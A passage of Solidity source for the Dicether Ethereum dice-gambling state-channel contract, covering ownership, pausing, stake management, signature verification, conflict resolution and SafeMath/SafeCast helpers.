return _val1 >= _val2 ? _val1 : _val2;
}
/**
* @dev Calculate minimum.
*/
function min(uint _val1, uint _val2) internal pure returns(uint) {
return _val1 <= _val2 ? _val1 : _val2;
}
}
contract Ownable {
address public owner;
address public pendingOwner;
event LogOwnerShipTransferred(address indexed previousOwner, address indexed newOwner);
event LogOwnerShipTransferInitiated(address indexed previousOwner, address indexed newOwner);
/**
* @dev Modifier, which throws if called by other account than owner.
*/
modifier onlyOwner {
require(msg.sender == owner);
_;
}
/**
* @dev Modifier throws if called by any account other than the pendingOwner.
*/
modifier onlyPendingOwner() {
require(msg.sender == pendingOwner);
_;
}
/**
* @dev Set contract creator as initial owner
*/
constructor() public {
owner = msg.sender;
pendingOwner = address(0);
}
/**
* @dev Allows the current owner to set the pendingOwner address.
* @param _newOwner The address to transfer ownership to.
*/
function transferOwnership(address _newOwner) public onlyOwner {
pendingOwner = _newOwner;
emit LogOwnerShipTransferInitiated(owner, _newOwner);
}
/**
* @dev PendingOwner can accept ownership.
*/
function claimOwnership() public onlyPendingOwner {
owner = pendingOwner;
pendingOwner = address(0);
emit LogOwnerShipTransferred(owner, pendingOwner);
}
}
contract Activatable is Ownable {
bool public activated = false;
/// @dev Event is fired if activated.
event LogActive();
/// @dev Modifier, which only allows function execution if activated.
modifier onlyActivated() {
require(activated);
_;
}
/// @dev Modifier, which only allows function execution if not activated.
modifier onlyNotActivated() {
require(!activated);
_;
}
/// @dev activate contract, can be only called once by the contract owner.
function activate() public onlyOwner onlyNotActivated {
activated = true;
emit LogActive();
}
}
contract ConflictResolutionManager is Ownable {
/// @dev Conflict resolution contract.
ConflictResolutionInterface public conflictRes;
/// @dev New Conflict resolution contract.
address public newConflictRes = 0;
/// @dev Time update of new conflict resolution contract was initiated.
uint public updateTime = 0;
/// @dev Min time before new conflict res contract can be activated after initiating update.
uint public constant MIN_TIMEOUT = 3 days;
/// @dev Min time before new conflict res contract can be activated after initiating update.
uint public constant MAX_TIMEOUT = 6 days;
/// @dev Update of conflict resolution contract was initiated.
event LogUpdatingConflictResolution(address newConflictResolutionAddress);
/// @dev New conflict resolution contract is active.
event LogUpdatedConflictResolution(address newConflictResolutionAddress);
/**
* @dev Constructor
* @param _conflictResAddress conflict resolution contract address.
*/
constructor(address _conflictResAddress) public {
conflictRes = ConflictResolutionInterface(_conflictResAddress);
}
/**
* @dev Initiate conflict resolution contract update.
* @param _newConflictResAddress New conflict resolution contract address.
*/
function updateConflictResolution(address _newConflictResAddress) public onlyOwner {
newConflictRes = _newConflictResAddress;
updateTime = block.timestamp;
emit LogUpdatingConflictResolution(_newConflictResAddress);
}
/**
* @dev Active new conflict resolution contract.
*/
function activateConflictResolution() public onlyOwner {
require(newConflictRes != 0);
require(updateTime != 0);
require(updateTime + MIN_TIMEOUT <= block.timestamp && block.timestamp <= updateTime + MAX_TIMEOUT);
conflictRes = ConflictResolutionInterface(newConflictRes);
newConflictRes = 0;
updateTime = 0;
emit LogUpdatedConflictResolution(newConflictRes);
}
}
contract Pausable is Activatable {
using SafeMath for uint;
/// @dev Is contract paused. Initial it is paused.
bool public paused = true;
/// @dev Time pause was called
uint public timePaused = block.timestamp;
/// @dev Modifier, which only allows function execution if not paused.
modifier onlyNotPaused() {
require(!paused, "paused");
_;
}
/// @dev Modifier, which only allows function execution if paused.
modifier onlyPaused() {
require(paused);
_;
}
/// @dev Modifier, which only allows function execution if paused longer than timeSpan.
modifier onlyPausedSince(uint timeSpan) {
require(paused && (timePaused.add(timeSpan) <= block.timestamp));
_;
}
/// @dev Event is fired if paused.
event LogPause();
/// @dev Event is fired if pause is ended.
event LogUnpause();
/**
* @dev Pause contract. No new game sessions can be created.
*/
function pause() public onlyOwner onlyNotPaused {
paused = true;
timePaused = block.timestamp;
emit LogPause();
}
/**
* @dev Unpause contract. Initial contract is paused and can only be unpaused after activating it.
*/
function unpause() public onlyOwner onlyPaused onlyActivated {
paused = false;
timePaused = 0;
emit LogUnpause();
}
}
contract Destroyable is Pausable {
/// @dev After pausing the contract for 20 days owner can selfdestruct it.
uint public constant TIMEOUT_DESTROY = 20 days;
/**
* @dev Destroy contract and transfer ether to owner.
*/
function destroy() public onlyOwner onlyPausedSince(TIMEOUT_DESTROY) {
selfdestruct(owner);
}
}
contract GameChannelBase is Destroyable, ConflictResolutionManager {
using SafeCast for int;
using SafeCast for uint;
using SafeMath for int;
using SafeMath for uint;
/// @dev Different game session states.
enum GameStatus {
ENDED, ///< @dev Game session is ended.
ACTIVE, ///< @dev Game session is active.
USER_INITIATED_END, ///< @dev User initiated non regular end.
SERVER_INITIATED_END ///< @dev Server initiated non regular end.
}
/// @dev Reason game session ended.
enum ReasonEnded {
REGULAR_ENDED, ///< @dev Game session is regularly ended.
SERVER_FORCED_END, ///< @dev User did not respond. Server forced end.
USER_FORCED_END, ///< @dev Server did not respond. User forced end.
CONFLICT_ENDED ///< @dev Server or user raised conflict ans pushed game state, opponent pushed same game state.
}
struct Game {
/// @dev Game session status.
GameStatus status;
/// @dev User's stake.
uint128 stake;
/// @dev Last game round info if not regularly ended.
/// If game session is ended normally this data is not used.
uint8 gameType;
uint32 roundId;
uint betNum;
uint betValue;
int balance;
bytes32 userSeed;
bytes32 serverSeed;
uint endInitiatedTime;
}
/// @dev Minimal time span between profit transfer.
uint public constant MIN_TRANSFER_TIMESPAN = 1 days;
/// @dev Maximal time span between profit transfer.
uint public constant MAX_TRANSFER_TIMSPAN = 6 * 30 days;
bytes32 public constant EIP712DOMAIN_TYPEHASH = keccak256(
"EIP712Domain(string name,string version,uint256 chainId,address verifyingContract)"
);
bytes32 public constant BET_TYPEHASH = keccak256(
"Bet(uint32 roundId,uint8 gameType,uint256 number,uint256 value,int256 balance,bytes32 serverHash,bytes32 userHash,uint256 gameId)"
);
bytes32 public DOMAIN_SEPERATOR;
/// @dev Current active game sessions.
uint public activeGames = 0;
/// @dev Game session id counter. Points to next free game session slot. So gameIdCntr -1 is the
// number of game sessions created.
uint public gameIdCntr = 1;
/// @dev Only this address can accept and end games.
address public serverAddress;
/// @dev Address to transfer profit to.
address public houseAddress;
/// @dev Current house stake.
uint public houseStake = 0;
/// @dev House profit since last profit transfer.
int public houseProfit = 0;
/// @dev Min value user needs to deposit for creating game session.
uint128 public minStake;
/// @dev Max value user can deposit for creating game session.
uint128 public maxStake;
/// @dev Timeout until next profit transfer is allowed.
uint public profitTransferTimeSpan = 14 days;
/// @dev Last time profit transferred to house.
uint public lastProfitTransferTimestamp;
/// @dev Maps gameId to game struct.
mapping (uint => Game) public gameIdGame;
/// @dev Maps user address to current user game id.
mapping (address => uint) public userGameId;
/// @dev Maps user address to pending returns.
mapping (address => uint) public pendingReturns;
/// @dev Modifier, which only allows to execute if house stake is high enough.
modifier onlyValidHouseStake(uint _activeGames) {
uint minHouseStake = conflictRes.minHouseStake(_activeGames);
require(houseStake >= minHouseStake, "inv houseStake");
_;
}
/// @dev Modifier to check if value send fulfills user stake requirements.
modifier onlyValidValue() {
require(minStake <= msg.value && msg.value <= maxStake, "inv stake");
_;
}
/// @dev Modifier, which only allows server to call function.
modifier onlyServer() {
require(msg.sender == serverAddress);
_;
}
/// @dev Modifier, which only allows to set valid transfer timeouts.
modifier onlyValidTransferTimeSpan(uint transferTimeout) {
require(transferTimeout >= MIN_TRANSFER_TIMESPAN
&& transferTimeout <= MAX_TRANSFER_TIMSPAN);
_;
}
/// @dev This event is fired when user creates game session.
event LogGameCreated(address indexed user, uint indexed gameId, uint128 stake, bytes32 indexed serverEndHash, bytes32 userEndHash);
/// @dev This event is fired when user requests conflict end.
event LogUserRequestedEnd(address indexed user, uint indexed gameId);
/// @dev This event is fired when server requests conflict end.
event LogServerRequestedEnd(address indexed user, uint indexed gameId);
/// @dev This event is fired when game session is ended.
event LogGameEnded(address indexed user, uint indexed gameId, uint32 roundId, int balance, ReasonEnded reason);
/// @dev this event is fired when owner modifies user's stake limits.
event LogStakeLimitsModified(uint minStake, uint maxStake);
/**
* @dev Contract constructor.
* @param _serverAddress Server address.
* @param _minStake Min value user needs to deposit to create game session.
* @param _maxStake Max value user can deposit to create game session.
* @param _conflictResAddress Conflict resolution contract address.
* @param _houseAddress House address to move profit to.
* @param _chainId Chain id for signature domain.
*/
constructor(
address _serverAddress,
uint128 _minStake,
uint128 _maxStake,
address _conflictResAddress,
address _houseAddress,
uint _chainId
)
public
ConflictResolutionManager(_conflictResAddress)
{
require(_minStake > 0 && _minStake <= _maxStake);
serverAddress = _serverAddress;
houseAddress = _houseAddress;
lastProfitTransferTimestamp = block.timestamp;
minStake = _minStake;
maxStake = _maxStake;
DOMAIN_SEPERATOR = keccak256(abi.encode(
EIP712DOMAIN_TYPEHASH,
keccak256("Dicether"),
keccak256("2"),
_chainId,
address(this)
));
}
/**
* @dev Set gameIdCntr. Can be only set before activating contract.
*/
function setGameIdCntr(uint _gameIdCntr) public onlyOwner onlyNotActivated {
require(gameIdCntr > 0);
gameIdCntr = _gameIdCntr;
}
/**
* @notice Withdraw pending returns.
*/
function withdraw() public {
uint toTransfer = pendingReturns[msg.sender];
require(toTransfer > 0);
pendingReturns[msg.sender] = 0;
msg.sender.transfer(toTransfer);
}
/**
* @notice Transfer house profit to houseAddress.
*/
function transferProfitToHouse() public {
require(lastProfitTransferTimestamp.add(profitTransferTimeSpan) <= block.timestamp);
// update last transfer timestamp
lastProfitTransferTimestamp = block.timestamp;
if (houseProfit <= 0) {
// no profit to transfer
return;
}
uint toTransfer = houseProfit.castToUint();
houseProfit = 0;
houseStake = houseStake.sub(toTransfer);
houseAddress.transfer(toTransfer);
}
/**
* @dev Set profit transfer time span.
*/
function setProfitTransferTimeSpan(uint _profitTransferTimeSpan)
public
onlyOwner
onlyValidTransferTimeSpan(_profitTransferTimeSpan)
{
profitTransferTimeSpan = _profitTransferTimeSpan;
}
/**
* @dev Increase house stake by msg.value
*/
function addHouseStake() public payable onlyOwner {
houseStake = houseStake.add(msg.value);
}
/**
* @dev Withdraw house stake.
*/
function withdrawHouseStake(uint value) public onlyOwner {
uint minHouseStake = conflictRes.minHouseStake(activeGames);
require(value <= houseStake && houseStake.sub(value) >= minHouseStake);
require(houseProfit <= 0 || houseProfit.castToUint() <= houseStake.sub(value));
houseStake = houseStake.sub(value);
owner.transfer(value);
}
/**
* @dev Withdraw house stake and profit.
*/
function withdrawAll() public onlyOwner onlyPausedSince(3 days) {
houseProfit = 0;
uint toTransfer = houseStake;
houseStake = 0;
owner.transfer(toTransfer);
}
/**
* @dev Set new house address.
* @param _houseAddress New house address.
*/
function setHouseAddress(address _houseAddress) public onlyOwner {
houseAddress = _houseAddress;
}
/**
* @dev Set stake min and max value.
* @param _minStake Min stake.
* @param _maxStake Max stake.
*/
function setStakeRequirements(uint128 _minStake, uint128 _maxStake) public onlyOwner {
require(_minStake > 0 && _minStake <= _maxStake);
minStake = _minStake;
maxStake = _maxStake;
emit LogStakeLimitsModified(minStake, maxStake);
}
/**
* @dev Close game session.
* @param _game Game session data.
* @param _gameId Id of game session.
* @param _userAddress User's address of game session.
* @param _reason Reason for closing game session.
* @param _balance Game session balance.
*/
function closeGame(
Game storage _game,
uint _gameId,
uint32 _roundId,
address _userAddress,
ReasonEnded _reason,
int _balance
)
internal
{
_game.status = GameStatus.ENDED;
activeGames = activeGames.sub(1);
payOut(_userAddress, _game.stake, _balance);
emit LogGameEnded(_userAddress, _gameId, _roundId, _balance, _reason);
}
/**
* @dev End game by paying out user and server.
* @param _userAddress User's address.
* @param _stake User's stake.
* @param _balance User's balance.
*/
function payOut(address _userAddress, uint128 _stake, int _balance) internal {
int stakeInt = _stake;
int houseStakeInt = houseStake.castToInt();
assert(_balance <= conflictRes.maxBalance());
assert((stakeInt.add(_balance)) >= 0);
if (_balance > 0 && houseStakeInt < _balance) {
// Should never happen!
// House is bankrupt.
// Payout left money.
_balance = houseStakeInt;
}
houseProfit = houseProfit.sub(_balance);
int newHouseStake = houseStakeInt.sub(_balance);
houseStake = newHouseStake.castToUint();
uint valueUser = stakeInt.add(_balance).castToUint();
pendingReturns[_userAddress] += valueUser;
if (pendingReturns[_userAddress] > 0) {
safeSend(_userAddress);
}
}
/**
* @dev Send value of pendingReturns[_address] to _address.
* @param _address Address to send value to.
*/
function safeSend(address _address) internal {
uint valueToSend = pendingReturns[_address];
assert(valueToSend > 0);
pendingReturns[_address] = 0;
if (_address.send(valueToSend) == false) {
pendingReturns[_address] = valueToSend;
}
}
/**
* @dev Verify signature of given data. Throws on verification failure.
* @param _sig Signature of given data in the form of rsv.
* @param _address Address of signature signer.
*/
function verifySig(
uint32 _roundId,
uint8 _gameType,
uint _num,
uint _value,
int _balance,
bytes32 _serverHash,
bytes32 _userHash,
uint _gameId,
address _contractAddress,
bytes _sig,
address _address
)
internal
view
{
// check if this is the correct contract
address contractAddress = this;
require(_contractAddress == contractAddress, "inv contractAddress");
bytes32 roundHash = calcHash(
_roundId,
_gameType,
_num,
_value,
_balance,
_serverHash,
_userHash,
_gameId
);
verify(
roundHash,
_sig,
_address
);
}
/**
* @dev Check if _sig is valid signature of _hash. Throws if invalid signature.
* @param _hash Hash to check signature of.
* @param _sig Signature of _hash.
* @param _address Address of signer.
*/
function verify(
bytes32 _hash,
bytes _sig,
address _address
)
internal
pure
{
(bytes32 r, bytes32 s, uint8 v) = signatureSplit(_sig);
address addressRecover = ecrecover(_hash, v, r, s);
require(addressRecover == _address, "inv sig");
}
/**
* @dev Calculate typed hash of given data (compare eth_signTypedData).
* @return Hash of given data.
*/
function calcHash(
uint32 _roundId,
uint8 _gameType,
uint _num,
uint _value,
int _balance,
bytes32 _serverHash,
bytes32 _userHash,
uint _gameId
)
private
view
returns(bytes32)
{
bytes32 betHash = keccak256(abi.encode(
BET_TYPEHASH,
_roundId,
_gameType,
_num,
_value,
_balance,
_serverHash,
_userHash,
_gameId
));
return keccak256(abi.encodePacked(
"\x19\x01",
DOMAIN_SEPERATOR,
betHash
));
}
/**
* @dev Split the given signature of the form rsv in r s v. v is incremented with 27 if
* it is below 2.
* @param _signature Signature to split.
* @return r s v
*/
function signatureSplit(bytes _signature)
private
pure
returns (bytes32 r, bytes32 s, uint8 v)
{
require(_signature.length == 65, "inv sig");
assembly {
r := mload(add(_signature, 32))
s := mload(add(_signature, 64))
v := and(mload(add(_signature, 65)), 0xff)
}
if (v < 2) {
v = v + 27;
}
}
}
contract GameChannelConflict is GameChannelBase {
using SafeCast for int;
using SafeCast for uint;
using SafeMath for int;
using SafeMath for uint;
/**
* @dev Contract constructor.
* @param _serverAddress Server address.
* @param _minStake Min value user needs to deposit to create game session.
* @param _maxStake Max value user can deposit to create game session.
* @param _conflictResAddress Conflict resolution contract address
* @param _houseAddress House address to move profit to
* @param _chainId Chain id for signature domain.
*/
constructor(
address _serverAddress,
uint128 _minStake,
uint128 _maxStake,
address _conflictResAddress,
address _houseAddress,
uint _chainId
)
public
GameChannelBase(_serverAddress, _minStake, _maxStake, _conflictResAddress, _houseAddress, _chainId)
{
// nothing to do
}
/**
* @dev Used by server if user does not end game session.
* @param _roundId Round id of bet.
* @param _gameType Game type of bet.
* @param _num Number of bet.
* @param _value Value of bet.
* @param _balance Balance before this bet.
* @param _serverHash Hash of server seed for this bet.
* @param _userHash Hash of user seed for this bet.
* @param _gameId Game session id.
* @param _contractAddress Address of this contract.
* @param _userSig User signature of this bet.
* @param _userAddress Address of user.
* @param _serverSeed Server seed for this bet.
* @param _userSeed User seed for this bet.
*/
function serverEndGameConflict(
uint32 _roundId,
uint8 _gameType,
uint _num,
uint _value,
int _balance,
bytes32 _serverHash,
bytes32 _userHash,
uint _gameId,
address _contractAddress,
bytes _userSig,
address _userAddress,
bytes32 _serverSeed,
bytes32 _userSeed
)
public
onlyServer
{
verifySig(
_roundId,
_gameType,
_num,
_value,
_balance,
_serverHash,
_userHash,
_gameId,
_contractAddress,
_userSig,
_userAddress
);
serverEndGameConflictImpl(
_roundId,
_gameType,
_num,
_value,
_balance,
_serverHash,
_userHash,
_serverSeed,
_userSeed,
_gameId,
_userAddress
);
}
/**
* @notice Can be used by user if server does not answer to the end game session request.
* @param _roundId Round id of bet.
* @param _gameType Game type of bet.
* @param _num Number of bet.
* @param _value Value of bet.
* @param _balance Balance before this bet.
* @param _serverHash Hash of server seed for this bet.
* @param _userHash Hash of user seed for this bet.
* @param _gameId Game session id.
* @param _contractAddress Address of this contract.
* @param _serverSig Server signature of this bet.
* @param _userSeed User seed for this bet.
*/
function userEndGameConflict(
uint32 _roundId,
uint8 _gameType,
uint _num,
uint _value,
int _balance,
bytes32 _serverHash,
bytes32 _userHash,
uint _gameId,
address _contractAddress,
bytes _serverSig,
bytes32 _userSeed
)
public
{
verifySig(
_roundId,
_gameType,
_num,
_value,
_balance,
_serverHash,
_userHash,
_gameId,
_contractAddress,
_serverSig,
serverAddress
);
userEndGameConflictImpl(
_roundId,
_gameType,
_num,
_value,
_balance,
_userHash,
_userSeed,
_gameId,
msg.sender
);
}
/**
* @notice Cancel active game without playing. Useful if server stops responding before
* one game is played.
* @param _gameId Game session id.
*/
function userCancelActiveGame(uint _gameId) public {
address userAddress = msg.sender;
uint gameId = userGameId[userAddress];
Game storage game = gameIdGame[gameId];
require(gameId == _gameId, "inv gameId");
if (game.status == GameStatus.ACTIVE) {
game.endInitiatedTime = block.timestamp;
game.status = GameStatus.USER_INITIATED_END;
emit LogUserRequestedEnd(msg.sender, gameId);
} else if (game.status == GameStatus.SERVER_INITIATED_END && game.roundId == 0) {
cancelActiveGame(game, gameId, userAddress);
} else {
revert();
}
}
/**
* @dev Cancel active game without playing. Useful if user starts game session and
* does not play.
* @param _userAddress Users' address.
* @param _gameId Game session id.
*/
function serverCancelActiveGame(address _userAddress, uint _gameId) public onlyServer {
uint gameId = userGameId[_userAddress];
Game storage game = gameIdGame[gameId];
require(gameId == _gameId, "inv gameId");
if (game.status == GameStatus.ACTIVE) {
game.endInitiatedTime = block.timestamp;
game.status = GameStatus.SERVER_INITIATED_END;
emit LogServerRequestedEnd(msg.sender, gameId);
} else if (game.status == GameStatus.USER_INITIATED_END && game.roundId == 0) {
cancelActiveGame(game, gameId, _userAddress);
} else {
revert();
}
}
/**
* @dev Force end of game if user does not respond. Only possible after a certain period of time
* to give the user a chance to respond.
* @param _userAddress User's address.
*/
function serverForceGameEnd(address _userAddress, uint _gameId) public onlyServer {
uint gameId = userGameId[_userAddress];
Game storage game = gameIdGame[gameId];
require(gameId == _gameId, "inv gameId");
require(game.status == GameStatus.SERVER_INITIATED_END, "inv status");
// theoretically we have enough data to calculate winner
// but as user did not respond assume he has lost.
int newBalance = conflictRes.serverForceGameEnd(
game.gameType,
game.betNum,
game.betValue,
game.balance,
game.stake,
game.endInitiatedTime
);
closeGame(game, gameId, game.roundId, _userAddress, ReasonEnded.SERVER_FORCED_END, newBalance);
}
/**
* @notice Force end of game if server does not respond. Only possible after a certain period of time
* to give the server a chance to respond.
*/
function userForceGameEnd(uint _gameId) public {
address userAddress = msg.sender;
uint gameId = userGameId[userAddress];
Game storage game = gameIdGame[gameId];
require(gameId == _gameId, "inv gameId");
require(game.status == GameStatus.USER_INITIATED_END, "inv status");
int newBalance = conflictRes.userForceGameEnd(
game.gameType,
game.betNum,
game.betValue,
game.balance,
game.stake,
game.endInitiatedTime
);
closeGame(game, gameId, game.roundId, userAddress, ReasonEnded.USER_FORCED_END, newBalance);
}
/**
* @dev Conflict handling implementation. Stores game data and timestamp if game
* is active. If server has already marked conflict for game session the conflict
* resolution contract is used (compare conflictRes).
* @param _roundId Round id of bet.
* @param _gameType Game type of bet.
* @param _num Number of bet.
* @param _value Value of bet.
* @param _balance Balance before this bet.
* @param _userHash Hash of user's seed for this bet.
* @param _userSeed User's seed for this bet.
* @param _gameId game Game session id.
* @param _userAddress User's address.
*/
function userEndGameConflictImpl(
uint32 _roundId,
uint8 _gameType,
uint _num,
uint _value,
int _balance,
bytes32 _userHash,
bytes32 _userSeed,
uint _gameId,
address _userAddress
)
private
{
uint gameId = userGameId[_userAddress];
Game storage game = gameIdGame[gameId];
int maxBalance = conflictRes.maxBalance();
int gameStake = game.stake;
require(gameId == _gameId, "inv gameId");
require(_roundId > 0, "inv roundId");
require(keccak256(abi.encodePacked(_userSeed)) == _userHash, "inv userSeed");
require(-gameStake <= _balance && _balance <= maxBalance, "inv balance"); // game.stake save to cast as uint128
require(conflictRes.isValidBet(_gameType, _num, _value), "inv bet");
require(gameStake.add(_balance).sub(_value.castToInt()) >= 0, "value too high"); // game.stake save to cast as uint128
if (game.status == GameStatus.SERVER_INITIATED_END && game.roundId == _roundId) {
game.userSeed = _userSeed;
endGameConflict(game, gameId, _userAddress);
} else if (game.status == GameStatus.ACTIVE
|| (game.status == GameStatus.SERVER_INITIATED_END && game.roundId < _roundId)) {
game.status = GameStatus.USER_INITIATED_END;
game.endInitiatedTime = block.timestamp;
game.roundId = _roundId;
game.gameType = _gameType;
game.betNum = _num;
game.betValue = _value;
game.balance = _balance;
game.userSeed = _userSeed;
game.serverSeed = bytes32(0);
emit LogUserRequestedEnd(msg.sender, gameId);
} else {
revert("inv state");
}
}
/**
* @dev Conflict handling implementation. Stores game data and timestamp if game
* is active. If user has already marked conflict for game session the conflict
* resolution contract is used (compare conflictRes).
* @param _roundId Round id of bet.
* @param _gameType Game type of bet.
* @param _num Number of bet.
* @param _value Value of bet.
* @param _balance Balance before this bet.
* @param _serverHash Hash of server's seed for this bet.
* @param _userHash Hash of user's seed for this bet.
* @param _serverSeed Server's seed for this bet.
* @param _userSeed User's seed for this bet.
* @param _userAddress User's address.
*/
function serverEndGameConflictImpl(
uint32 _roundId,
uint8 _gameType,
uint _num,
uint _value,
int _balance,
bytes32 _serverHash,
bytes32 _userHash,
bytes32 _serverSeed,
bytes32 _userSeed,
uint _gameId,
address _userAddress
)
private
{
uint gameId = userGameId[_userAddress];
Game storage game = gameIdGame[gameId];
int maxBalance = conflictRes.maxBalance();
int gameStake = game.stake;
require(gameId == _gameId, "inv gameId");
require(_roundId > 0, "inv roundId");
require(keccak256(abi.encodePacked(_serverSeed)) == _serverHash, "inv serverSeed");
require(keccak256(abi.encodePacked(_userSeed)) == _userHash, "inv userSeed");
require(-gameStake <= _balance && _balance <= maxBalance, "inv balance"); // game.stake save to cast as uint128
require(conflictRes.isValidBet(_gameType, _num, _value), "inv bet");
require(gameStake.add(_balance).sub(_value.castToInt()) >= 0, "too high value"); // game.stake save to cast as uin128
if (game.status == GameStatus.USER_INITIATED_END && game.roundId == _roundId) {
game.serverSeed = _serverSeed;
endGameConflict(game, gameId, _userAddress);
} else if (game.status == GameStatus.ACTIVE
|| (game.status == GameStatus.USER_INITIATED_END && game.roundId < _roundId)) {
game.status = GameStatus.SERVER_INITIATED_END;
game.endInitiatedTime = block.timestamp;
game.roundId = _roundId;
game.gameType = _gameType;
game.betNum = _num;
game.betValue = _value;
game.balance = _balance;
game.serverSeed = _serverSeed;
game.userSeed = _userSeed;
emit LogServerRequestedEnd(_userAddress, gameId);
} else {
revert("inv state");
}
}
/**
* @dev End conflicting game without placed bets.
* @param _game Game session data.
* @param _gameId Game session id.
* @param _userAddress User's address.
*/
function cancelActiveGame(Game storage _game, uint _gameId, address _userAddress) private {
// user need to pay a fee when conflict ended.
// this ensures a malicious, rich user can not just generate game sessions and then wait
// for us to end the game session and then confirm the session status, so
// we would have to pay a high gas fee without profit.
int newBalance = -conflictRes.conflictEndFine();
// do not allow balance below user stake
int stake = _game.stake;
if (newBalance < -stake) {
newBalance = -stake;
}
closeGame(_game, _gameId, 0, _userAddress, ReasonEnded.CONFLICT_ENDED, newBalance);
}
/**
* @dev End conflicting game.
* @param _game Game session data.
* @param _gameId Game session id.
* @param _userAddress User's address.
*/
function endGameConflict(Game storage _game, uint _gameId, address _userAddress) private {
int newBalance = conflictRes.endGameConflict(
_game.gameType,
_game.betNum,
_game.betValue,
_game.balance,
_game.stake,
_game.serverSeed,
_game.userSeed
);
closeGame(_game, _gameId, _game.roundId, _userAddress, ReasonEnded.CONFLICT_ENDED, newBalance);
}
}
contract GameChannel is GameChannelConflict {
/**
* @dev contract constructor
* @param _serverAddress Server address.
* @param _minStake Min value user needs to deposit to create game session.
* @param _maxStake Max value user can deposit to create game session.
* @param _conflictResAddress Conflict resolution contract address.
* @param _houseAddress House address to move profit to.
* @param _chainId Chain id for signature domain.
*/
constructor(
address _serverAddress,
uint128 _minStake,
uint128 _maxStake,
address _conflictResAddress,
address _houseAddress,
uint _chainId
)
public
GameChannelConflict(_serverAddress, _minStake, _maxStake, _conflictResAddress, _houseAddress, _chainId)
{
// nothing to do
}
/**
* @notice Create games session request. msg.value needs to be valid stake value.
* @param _userEndHash Last entry of users' hash chain.
* @param _previousGameId User's previous game id, initial 0.
* @param _createBefore Game can be only created before this timestamp.
* @param _serverEndHash Last entry of server's hash chain.
* @param _serverSig Server signature. See verifyCreateSig
*/
function createGame(
bytes32 _userEndHash,
uint _previousGameId,
uint _createBefore,
bytes32 _serverEndHash,
bytes _serverSig
)
public
payable
onlyValidValue
onlyValidHouseStake(activeGames + 1)
onlyNotPaused
{
uint previousGameId = userGameId[msg.sender];
Game storage game = gameIdGame[previousGameId];
require(game.status == GameStatus.ENDED, "prev game not ended");
require(previousGameId == _previousGameId, "inv gamePrevGameId");
require(block.timestamp < _createBefore, "expired");
verifyCreateSig(msg.sender, _previousGameId, _createBefore, _serverEndHash, _serverSig);
uint gameId = gameIdCntr++;
userGameId[msg.sender] = gameId;
Game storage newGame = gameIdGame[gameId];
newGame.stake = uint128(msg.value); // It's safe to cast msg.value as it is limited, see onlyValidValue
newGame.status = GameStatus.ACTIVE;
activeGames = activeGames.add(1);
// It's safe to cast msg.value as it is limited, see onlyValidValue
emit LogGameCreated(msg.sender, gameId, uint128(msg.value), _serverEndHash, _userEndHash);
}
/**
* @dev Regular end game session. Used if user and house have both
* accepted current game session state.
* The game session with gameId _gameId is closed
* and the user paid out. This functions is called by the server after
* the user requested the termination of the current game session.
* @param _roundId Round id of bet.
* @param _balance Current balance.
* @param _serverHash Hash of server's seed for this bet.
* @param _userHash Hash of user's seed for this bet.
* @param _gameId Game session id.
* @param _contractAddress Address of this contract.
* @param _userAddress Address of user.
* @param _userSig User's signature of this bet.
*/
function serverEndGame(
uint32 _roundId,
int _balance,
bytes32 _serverHash,
bytes32 _userHash,
uint _gameId,
address _contractAddress,
address _userAddress,
bytes _userSig
)
public
onlyServer
{
verifySig(
_roundId,
0,
0,
0,
_balance,
_serverHash,
_userHash,
_gameId,
_contractAddress,
_userSig,
_userAddress
);
regularEndGame(_userAddress, _roundId, _balance, _gameId, _contractAddress);
}
/**
* @notice Regular end game session. Normally not needed as server ends game (@see serverEndGame).
* Can be used by user if server does not end game session.
* @param _roundId Round id of bet.
* @param _balance Current balance.
* @param _serverHash Hash of server's seed for this bet.
* @param _userHash Hash of user's seed for this bet.
* @param _gameId Game session id.
* @param _contractAddress Address of this contract.
* @param _serverSig Server's signature of this bet.
*/
function userEndGame(
uint32 _roundId,
int _balance,
bytes32 _serverHash,
bytes32 _userHash,
uint _gameId,
address _contractAddress,
bytes _serverSig
)
public
{
verifySig(
_roundId,
0,
0,
0,
_balance,
_serverHash,
_userHash,
_gameId,
_contractAddress,
_serverSig,
serverAddress
);
regularEndGame(msg.sender, _roundId, _balance, _gameId, _contractAddress);
}
/**
* @dev Verify server signature.
* @param _userAddress User's address.
* @param _previousGameId User's previous game id, initial 0.
* @param _createBefore Game can be only created before this timestamp.
* @param _serverEndHash Last entry of server's hash chain.
* @param _serverSig Server signature.
*/
function verifyCreateSig(
address _userAddress,
uint _previousGameId,
uint _createBefore,
bytes32 _serverEndHash,
bytes _serverSig
)
private view
{
address contractAddress = this;
bytes32 hash = keccak256(abi.encodePacked(
contractAddress, _userAddress, _previousGameId, _createBefore, _serverEndHash
));
verify(hash, _serverSig, serverAddress);
}
/**
* @dev Regular end game session implementation. Used if user and house have both
* accepted current game session state. The game session with gameId _gameId is closed
* and the user paid out.
* @param _userAddress Address of user.
* @param _balance Current balance.
* @param _gameId Game session id.
* @param _contractAddress Address of this contract.
*/
function regularEndGame(
address _userAddress,
uint32 _roundId,
int _balance,
uint _gameId,
address _contractAddress
)
private
{
uint gameId = userGameId[_userAddress];
Game storage game = gameIdGame[gameId];
int maxBalance = conflictRes.maxBalance();
int gameStake = game.stake;
require(_gameId == gameId, "inv gameId");
require(_roundId > 0, "inv roundId");
// save to cast as game.stake hash fixed range
require(-gameStake <= _balance && _balance <= maxBalance, "inv balance");
require(game.status == GameStatus.ACTIVE, "inv status");
assert(_contractAddress == address(this));
closeGame(game, gameId, _roundId, _userAddress, ReasonEnded.REGULAR_ENDED, _balance);
}
}
library SafeCast {
/**
* Cast unsigned a to signed a.
*/
function castToInt(uint a) internal pure returns(int) {
assert(a < (1 << 255));
return int(a);
}
/**
* Cast signed a to unsigned a.
*/
function castToUint(int a) internal pure returns(uint) {
assert(a >= 0);
return uint(a);
}
}
library SafeMath {
/**
* @dev Multiplies two unsigned integers, throws on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
// Gas optimization: this is cheaper than asserting 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
/**
* @dev Multiplies two signed integers, throws on overflow.
*/
function mul(int256 a, int256 b) internal pure returns (int256) {
// Gas optimization: this is cheaper than asserting 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522
if (a == 0) {
return 0;
}
int256 c = a * b;
assert(c / a == b);
return c;
}
/**
